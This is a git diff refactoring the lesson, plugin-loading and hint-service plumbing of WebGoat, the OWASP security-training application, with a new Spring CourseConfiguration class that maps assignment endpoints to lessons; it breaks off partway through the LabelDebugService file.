||||
* <p>
|
||||
* Description of the Method
|
||||
*/
|
||||
public int compareTo(Object obj) {
|
||||
return this.getRanking().compareTo(((AbstractLesson) obj).getRanking());
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
* <p>
|
||||
* Description of the Method
|
||||
*/
|
||||
public boolean equals(Object obj) {
|
||||
return this.getScreenId() == ((AbstractLesson) obj).getScreenId();
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the category attribute of the Lesson object
|
||||
*
|
||||
@ -109,13 +63,6 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
|
||||
return getDefaultCategory();
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>getDefaultRanking.</p>
|
||||
*
|
||||
* @return a {@link java.lang.Integer} object.
|
||||
*/
|
||||
protected abstract Integer getDefaultRanking();
|
||||
|
||||
/**
|
||||
* <p>getDefaultCategory.</p>
|
||||
*
|
||||
@ -123,29 +70,6 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
|
||||
*/
|
||||
protected abstract Category getDefaultCategory();
|
||||
|
||||
/**
|
||||
* <p>getDefaultHidden.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
protected abstract boolean getDefaultHidden();
|
||||
|
||||
/**
|
||||
* Gets the hintCount attribute of the Lesson object
|
||||
*
|
||||
* @return The hintCount value
|
||||
*/
|
||||
public int getHintCount() {
|
||||
return getHints().size();
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>getHints.</p>
|
||||
*
|
||||
* @return a {@link java.util.List} object.
|
||||
*/
|
||||
public abstract List<String> getHints();
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the HelloScreen object
|
||||
*
|
||||
@ -153,28 +77,6 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
|
||||
*/
|
||||
public abstract String getTitle();
|
||||
|
||||
/**
|
||||
* Gets the ranking attribute of the Lesson object
|
||||
*
|
||||
* @return The ranking value
|
||||
*/
|
||||
public Integer getRanking() {
|
||||
if (ranking != null) {
|
||||
return ranking;
|
||||
} else {
|
||||
return getDefaultRanking();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the uniqueID attribute of the AbstractLesson object
|
||||
*
|
||||
* @return The uniqueID value
|
||||
*/
|
||||
public int getScreenId() {
|
||||
return id.intValue();
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>Returns the default "path" portion of a lesson's URL.</p>
|
||||
* <p>
|
||||
@ -218,5 +120,4 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
|
||||
}
|
||||
|
||||
public abstract String getId();
|
||||
|
||||
}
|
@ -1,86 +0,0 @@
|
||||
/**
|
||||
*************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @since October 28, 2003
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
//// TODO: 11/8/2016 remove
|
||||
public abstract class LessonAdapter extends AbstractLesson {
|
||||
|
||||
|
||||
/**
|
||||
* <p>getDefaultHidden.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
protected boolean getDefaultHidden() {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Initiates lesson restart functionality. Lessons should override this for
|
||||
* lesson specific actions
|
||||
*/
|
||||
public void restartLesson() {
|
||||
// Do Nothing - called when restart lesson is pressed. Each lesson can do something
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(1000);
|
||||
|
||||
/**
|
||||
* <p>getDefaultRanking.</p>
|
||||
*
|
||||
* @return a {@link java.lang.Integer} object.
|
||||
*/
|
||||
protected Integer getDefaultRanking() {
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
/**
|
||||
* provide a default submitMethod of lesson does not implement
|
||||
*
|
||||
* @return a {@link java.lang.String} object.
|
||||
*/
|
||||
public String getSubmitMethod() {
|
||||
return "GET";
|
||||
}
|
||||
|
||||
/**
|
||||
* Fill in a descriptive title for this lesson. The title of the lesson.
|
||||
* This will appear above the control area at the top of the page. This
|
||||
* field will be rendered as html.
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle() {
|
||||
return "Untitled Lesson " + getScreenId();
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -1,32 +1,32 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* <p>
|
||||
* <p>
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
*
|
||||
* <p>
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import java.util.ArrayList;
|
||||
@ -46,8 +46,6 @@ public class LessonMenuItem {
|
||||
private boolean complete;
|
||||
private String link;
|
||||
private int ranking;
|
||||
// private boolean showSource = true;
|
||||
// private boolean showHints = true;
|
||||
|
||||
/**
|
||||
* <p>Getter for the field <code>name</code>.</p>
|
||||
@ -112,7 +110,6 @@ public class LessonMenuItem {
|
||||
children.add(child);
|
||||
}
|
||||
|
||||
/** {@inheritDoc} */
|
||||
@Override
|
||||
public String toString() {
|
||||
StringBuilder bldr = new StringBuilder();
|
||||
|
@ -27,6 +27,7 @@
|
||||
* for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
/**
|
||||
@ -69,7 +70,6 @@ public class RequestParameter implements Comparable<RequestParameter> {
|
||||
return value;
|
||||
}
|
||||
|
||||
/** {@inheritDoc} */
|
||||
@Override
|
||||
public int compareTo(RequestParameter o) {
|
||||
return this.name.compareTo(o.getName());
|
||||
|
@ -0,0 +1,115 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.plugins;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.ArrayUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.util.CollectionUtils;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.PutMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
|
||||
import static java.util.stream.Collectors.groupingBy;
|
||||
import static java.util.stream.Collectors.toList;
|
||||
|
||||
@Slf4j
|
||||
@Configuration
|
||||
public class CourseConfiguration {
|
||||
|
||||
private final List<Lesson> lessons;
|
||||
private final List<AssignmentEndpoint> assignments;
|
||||
private final Map<String, List<AssignmentEndpoint>> assignmentsByPackage;
|
||||
|
||||
public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {
|
||||
this.lessons = lessons;
|
||||
this.assignments = assignments;
|
||||
assignmentsByPackage = this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
|
||||
}
|
||||
|
||||
@Bean
|
||||
public Course course() {
|
||||
lessons.stream().forEach(l -> l.setAssignments(createAssignment(l)));
|
||||
return new Course(lessons);
|
||||
}
|
||||
|
||||
private List<Assignment> createAssignment(Lesson lesson) {
|
||||
var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
|
||||
if (CollectionUtils.isEmpty(endpoints)) {
|
||||
log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
|
||||
return new ArrayList();
|
||||
}
|
||||
return endpoints.stream().map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))).collect(toList());
|
||||
}
|
||||
|
||||
private String getPath(Class<? extends AssignmentEndpoint> e) {
|
||||
for (Method m : e.getMethods()) {
|
||||
if (m.getReturnType() == AttackResult.class) {
|
||||
var mapping = getMapping(m);
|
||||
if (mapping == null) {
|
||||
log.error("AttackResult method found without mapping in: {}", e.getSimpleName());
|
||||
} else {
|
||||
return mapping;
|
||||
}
|
||||
}
|
||||
}
|
||||
return "none";
|
||||
}
|
||||
|
||||
private String getMapping(Method m) {
|
||||
String[] paths = null;
|
||||
//Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are valid, we need to consider both
|
||||
if (m.getAnnotation(RequestMapping.class) != null) {
|
||||
paths = ArrayUtils.addAll(m.getAnnotation(RequestMapping.class).value(), m.getAnnotation(RequestMapping.class).path());
|
||||
} else if (m.getAnnotation(PostMapping.class) != null) {
|
||||
paths = ArrayUtils.addAll(m.getAnnotation(PostMapping.class).value(), m.getAnnotation(PostMapping.class).path());
|
||||
} else if (m.getAnnotation(GetMapping.class) != null) {
|
||||
paths = ArrayUtils.addAll(m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());
|
||||
} else if (m.getAnnotation(PutMapping.class) != null) {
|
||||
paths = ArrayUtils.addAll(m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());
|
||||
}
|
||||
if (paths == null) {
|
||||
return "";
|
||||
} else {
|
||||
return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElseGet(() -> "");
|
||||
}
|
||||
}
|
||||
|
||||
private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
|
||||
if (e.isAnnotationPresent(AssignmentHints.class)) {
|
||||
return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());
|
||||
}
|
||||
return Collections.emptyList();
|
||||
}
|
||||
}
|
@ -1,66 +0,0 @@
|
||||
package org.owasp.webgoat.plugins;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.Endpoint;
|
||||
import org.springframework.beans.factory.annotation.Autowire;
|
||||
import org.springframework.beans.factory.config.BeanDefinition;
|
||||
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
|
||||
import org.springframework.beans.factory.support.RootBeanDefinition;
|
||||
import org.springframework.boot.actuate.endpoint.mvc.MvcEndpoint;
|
||||
import org.springframework.context.ApplicationContext;
|
||||
import org.springframework.context.support.AbstractApplicationContext;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author nbaars
|
||||
* @version $Id: $Id
|
||||
* @since October 16, 2016
|
||||
*/
|
||||
@Slf4j
|
||||
public class PluginEndpointPublisher {
|
||||
|
||||
private AbstractApplicationContext applicationContext;
|
||||
|
||||
public PluginEndpointPublisher(ApplicationContext applicationContext) {
|
||||
this.applicationContext = (AbstractApplicationContext) applicationContext;
|
||||
}
|
||||
|
||||
public void publish(List<Class<Endpoint>> endpoints) {
|
||||
endpoints.forEach(e -> publishEndpoint(e));
|
||||
}
|
||||
|
||||
private void publishEndpoint(Class<? extends MvcEndpoint> e) {
|
||||
try {
|
||||
BeanDefinition beanDefinition = new RootBeanDefinition(e, Autowire.BY_TYPE.value(), true);
|
||||
DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) applicationContext.getBeanFactory();
|
||||
beanFactory.registerBeanDefinition(beanDefinition.getBeanClassName(), beanDefinition);
|
||||
} catch (Exception ex) {
|
||||
log.error("Failed to register " + e.getSimpleName() + " as endpoint with Spring, skipping...");
|
||||
}
|
||||
}
|
||||
}
|
@ -1,46 +0,0 @@
|
||||
package org.owasp.webgoat.plugins;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.Endpoint;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.net.URL;
|
||||
import java.util.List;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* Plugin resource
|
||||
*
|
||||
* @author nbaars
|
||||
* @since 3/4/17.
|
||||
*/
|
||||
@AllArgsConstructor
|
||||
@Getter
|
||||
public class PluginResource {
|
||||
|
||||
private final URL location;
|
||||
private final List<Class> classes;
|
||||
|
||||
public List<Class> getLessons() {
|
||||
return classes.stream().filter(c -> c.getSuperclass() == NewLesson.class).collect(Collectors.toList());
|
||||
}
|
||||
|
||||
public List<Class<Endpoint>> getEndpoints() {
|
||||
return classes.stream().
|
||||
filter(c -> c.getSuperclass() == AssignmentEndpoint.class || c.getSuperclass() == Endpoint.class).
|
||||
map(c -> (Class<Endpoint>) c).
|
||||
collect(Collectors.toList());
|
||||
}
|
||||
|
||||
public List<Class<AssignmentEndpoint>> getAssignments(Class lesson) {
|
||||
return classes.stream().
|
||||
filter(c -> c.getSuperclass() == AssignmentEndpoint.class).
|
||||
filter(c -> c.getPackage().equals(lesson.getPackage())).
|
||||
map(c -> (Class<AssignmentEndpoint>) c).
|
||||
collect(Collectors.toList());
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -1,134 +0,0 @@
|
||||
package org.owasp.webgoat.plugins;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Maps;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.springframework.beans.factory.config.BeanDefinition;
|
||||
import org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider;
|
||||
import org.springframework.core.type.filter.RegexPatternTypeFilter;
|
||||
|
||||
import java.net.URL;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.regex.Pattern;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
import static java.util.stream.Collectors.toList;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author nbaars
|
||||
* @version $Id: $Id
|
||||
* @since November 25, 2016
|
||||
*/
|
||||
@AllArgsConstructor
|
||||
@Slf4j
|
||||
public class PluginsLoader {
|
||||
|
||||
private final PluginEndpointPublisher pluginEndpointPublisher;
|
||||
|
||||
/**
|
||||
* <p>createLessonsFromPlugins.</p>
|
||||
*/
|
||||
public Course loadPlugins() {
|
||||
List<AbstractLesson> lessons = Lists.newArrayList();
|
||||
for (PluginResource plugin : findPluginResources()) {
|
||||
try {
|
||||
plugin.getLessons().forEach(c -> {
|
||||
NewLesson lesson = null;
|
||||
try {
|
||||
lesson = (NewLesson) c.newInstance();
|
||||
log.trace("Lesson loaded: {}", lesson.getId());
|
||||
} catch (Exception e) {
|
||||
log.error("Error while loading:" + c, e);
|
||||
}
|
||||
List<Class<AssignmentEndpoint>> assignments = plugin.getAssignments(c);
|
||||
lesson.setAssignments(createAssignment(assignments));
|
||||
lessons.add(lesson);
|
||||
pluginEndpointPublisher.publish(plugin.getEndpoints());
|
||||
});
|
||||
} catch (Exception e) {
|
||||
log.error("Error in loadLessons: ", e);
|
||||
}
|
||||
}
|
||||
if (lessons.isEmpty()) {
|
||||
log.error("No lessons found if you downloaded an official release of WebGoat please take the time to");
|
||||
log.error("create a new issue at https://github.com/WebGoat/WebGoat/issues/new");
|
||||
log.error("For developers run 'mvn package' first from the root directory.");
|
||||
}
|
||||
return new Course(lessons);
|
||||
}
|
||||
|
||||
private List<Assignment> createAssignment(List<Class<AssignmentEndpoint>> endpoints) {
|
||||
return endpoints.stream().map(e -> new Assignment(e.getSimpleName(), getPath(e), getHints(e))).collect(toList());
|
||||
}
|
||||
|
||||
private String getPath(Class<AssignmentEndpoint> e) {
|
||||
return e.getAnnotationsByType(AssignmentPath.class)[0].value();
|
||||
}
|
||||
|
||||
private List<String> getHints(Class<AssignmentEndpoint> e) {
|
||||
if (e.isAnnotationPresent(AssignmentHints.class)) {
|
||||
return Lists.newArrayList(e.getAnnotationsByType(AssignmentHints.class)[0].value());
|
||||
}
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
|
||||
|
||||
|
||||
@SneakyThrows
|
||||
public List<PluginResource> findPluginResources() {
|
||||
final ClassPathScanningCandidateComponentProvider provider = new ClassPathScanningCandidateComponentProvider(false);
|
||||
provider.addIncludeFilter(new RegexPatternTypeFilter(Pattern.compile(".*")));
|
||||
final Set<BeanDefinition> classes = provider.findCandidateComponents("org.owasp.webgoat.plugin");
|
||||
Map<URL, List<Class>> pluginClasses = Maps.newHashMap();
|
||||
for (BeanDefinition bean : classes) {
|
||||
Class<?> clazz = Class.forName(bean.getBeanClassName());
|
||||
URL location = clazz.getProtectionDomain().getCodeSource().getLocation();
|
||||
List<Class> classFiles = pluginClasses.get(location);
|
||||
if (classFiles == null) {
|
||||
classFiles = Lists.newArrayList(clazz);
|
||||
} else {
|
||||
classFiles.add(clazz);
|
||||
}
|
||||
pluginClasses.put(location, classFiles);
|
||||
}
|
||||
return pluginClasses.entrySet().parallelStream()
|
||||
.map(e -> new PluginResource(e.getKey(), e.getValue()))
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
}
|
@ -1,63 +0,0 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*
|
||||
*/
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* <p>CookieService class.</p>
|
||||
*
|
||||
* @author rlawson
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
@Controller
|
||||
public class CookieService {
|
||||
|
||||
/**
|
||||
* Returns cookies for last attack
|
||||
*
|
||||
* @param session a {@link javax.servlet.http.HttpSession} object.
|
||||
* @return a {@link java.util.List} object.
|
||||
*/
|
||||
@RequestMapping(path = "/service/cookie.mvc", produces = "application/json")
|
||||
public @ResponseBody
|
||||
List<Cookie> showCookies() {
|
||||
//// TODO: 11/6/2016 to be decided
|
||||
List<Cookie> cookies = Lists.newArrayList();
|
||||
return cookies;
|
||||
}
|
||||
}
|
@ -3,12 +3,12 @@
|
||||
* To change this template file, choose Tools | Templates
|
||||
* and open the template in the editor.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.lessons.Hint;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
@ -41,42 +41,22 @@ public class HintService {
|
||||
*/
|
||||
@GetMapping(path = URL_HINTS_MVC, produces = "application/json")
|
||||
@ResponseBody
|
||||
public List<Hint> showHint() {
|
||||
AbstractLesson l = webSession.getCurrentLesson();
|
||||
List<Hint> hints = createLessonHints(l);
|
||||
hints.addAll(createAssignmentHints(l));
|
||||
return hints;
|
||||
|
||||
public List<Hint> getHints() {
|
||||
Lesson l = webSession.getCurrentLesson();
|
||||
return createAssignmentHints(l);
|
||||
}
|
||||
|
||||
private List<Hint> createLessonHints(AbstractLesson l) {
|
||||
if ( l != null ) {
|
||||
return l.getHints().stream().map(h -> createHint(h, l.getName(), null)).collect(toList());
|
||||
private List<Hint> createAssignmentHints(Lesson l) {
|
||||
if (l != null) {
|
||||
return l.getAssignments().stream()
|
||||
.map(a -> createHint(a))
|
||||
.flatMap(hints -> hints.stream())
|
||||
.collect(toList());
|
||||
}
|
||||
return Lists.newArrayList();
|
||||
return List.of();
|
||||
}
|
||||
|
||||
private List<Hint> createAssignmentHints(AbstractLesson l) {
|
||||
List<Hint> hints = Lists.newArrayList();
|
||||
if ( l != null) {
|
||||
List<Assignment> assignments = l.getAssignments();
|
||||
assignments.stream().forEach(a -> { a.getHints(); createHints(a, hints);});
|
||||
}
|
||||
return hints;
|
||||
}
|
||||
|
||||
private void createHints(Assignment a, List<Hint> hints) {
|
||||
hints.addAll(a.getHints().stream().map(h -> createHint(h, null, a.getPath())).collect(toList()));
|
||||
}
|
||||
|
||||
private Hint createHint(String hintText, String lesson, String assignmentName) {
|
||||
Hint hint = new Hint();
|
||||
hint.setHint(hintText);
|
||||
if (lesson != null) {
|
||||
hint.setLesson(lesson);
|
||||
} else {
|
||||
hint.setAssignmentPath(assignmentName);
|
||||
}
|
||||
return hint;
|
||||
private List<Hint> createHint(Assignment a) {
|
||||
return a.getHints().stream().map(h -> new Hint(h, a.getPath())).collect(toList());
|
||||
}
|
||||
}
|
||||
|
@ -1,32 +1,32 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* <p>
|
||||
* <p>
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
*
|
||||
* <p>
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
@ -73,20 +73,20 @@ public class LabelDebugService {
|
||||
return new ResponseEntity<>(result, HttpStatus.OK);
|
||||
}
|
||||
|
||||
/**
|
||||
* Sets the enabled flag on the label debugger to the given parameter
|
||||
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
|
||||
* @throws Exception unhandled exception
|
||||
* @return a {@link org.springframework.http.ResponseEntity} object.
|
||||
*/
|
||||
@RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
|
||||
public @ResponseBody
|
||||
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
|
||||
log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
|
||||
Map<String, Object> result = createResponse(enabled);
|
||||
labelDebugger.setEnabled(enabled);
|
||||
return new ResponseEntity<>(result, HttpStatus.OK);
|
||||
}
|
||||
/**
|
||||
* Sets the enabled flag on the label debugger to the given parameter
|
||||
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
|
||||
* @throws Exception unhandled exception
|
||||
